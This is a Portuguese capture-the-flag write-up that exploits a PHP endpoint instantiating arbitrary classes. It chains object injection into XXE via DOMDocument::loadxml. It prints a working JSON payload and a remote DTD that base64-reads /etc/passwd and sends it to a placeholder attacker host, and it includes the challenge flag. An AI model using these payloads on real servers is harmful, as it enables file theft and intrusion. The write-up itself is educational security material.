ALQ{PHP_1nt3rn4ls_F0r_Fun_4nd_Pr0f1t}
Inicialmente, somos apresentados a um site com um trecho de código PHP, sendo ele o seguinte:
<?php
if($_SERVER['REQUEST_METHOD'] == 'POST') {
$data = json_decode(file_get_contents("php://input"));
$classe = $data->classe;
$funcao = $data->funcao;
$arg = $data->arg;
$instancia = new $classe();
call_user_func_array([$instancia, $funcao], $arg);
} else {
highlight_file(__FILE__);
}
?>
Nesse código, podemos perceber que, através de uma requisição do tipo POST, temos conseguimos passar os parâmetros classe
, funcao
e arg
. Ou seja, em uma requisição do tipo POST podemos instanciar uma classe raiz do PHP, sem parâmetros nos construtores e chamar uma função dessa classe. Diante disso, já podemos notar uma primeira vulnerabilidade no sistema, sendo ela uma Object injection no sistema. Através disso, devemos explorar e conseguir escalar essa vulnerabilidade para conseguirmos obter a flag.
No PHP, existe uma classe chamada DOMDocument que possuí o método loadxml, que carrega um XML no código. Portanto, após isso, já temos uma segunda vulnerabilidade, sendo ela um (CWE-611) XML External Entites (XXE).
Entretanto, não conseguimos explorar essa vulnerabilidade apenas chamando essa função. Para isso, devemos habilitar a flag do DOMDocument LIBXML_DTDVALID, onde irá facilitar o ataque de (CWE-611) XML External Entites (XXE), de acordo com a documentação oficial do PHP.
Atenção
O print foi tirando antes de 28 de agosto de 2023. A documentação oficial, até a atual data, não possuí mais a mensagem de aviso para o LIBXML_DTDVALID
O valor dessa constante é 16
.
Então, depois de ativar essa opção, conseguimos fazer com que o servidor faça uma requisição a um servidor externo e carregue outro XML no sistema, onde pode possuir mais de uma entidade. Então, para explorarmos essa série de vulnerabilidades, precisamos fazer com que o servidor realize um request e carregue outro XML, assim, o request para essa página ficará:
{
"classe":"DOMDocument",
"funcao":"loadxml",
"arg": [
"<!DOCTYPE foo [<!ENTITY % xxe SYSTEM 'http://IP/arquivo.dtd'> %xxe;]>",
16
]
}
É necessário utilizar uma ENTITY
para realizar uma requisição a um servidor externo para conseguirmos realizar um ataque de (CWE-918) Server-Side Request Forgery (SSRF) e conseguirmos carregar um XML mais completo. O seguinte XML deve ser carregado:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://IP/?x=%file;'>">
%eval;
%exfiltrate;
Esse script, primeiramente, na entidade file, solicita um arquivo do sistema e armazena, encodado em Base64. A entidade eval declara uma terceira entidade chamada exfiltrate que solicita a entidade file para ser armazenada na URL da entidade exfiltrate. Após isso, a entidade eval é chamada, que, por consequência, declara a entidade chamada exfiltrate, que, por consequência, realiza a requisição para o servidor externo, através de um (CWE-918) Server-Side Request Forgery (SSRF).
Ao solicitar o arquivo /etc/passwd
, conseguimos o retorno do servidor.
E, para obter a flag, devemos realizar a requisição para /var/www/html/.htaccess
.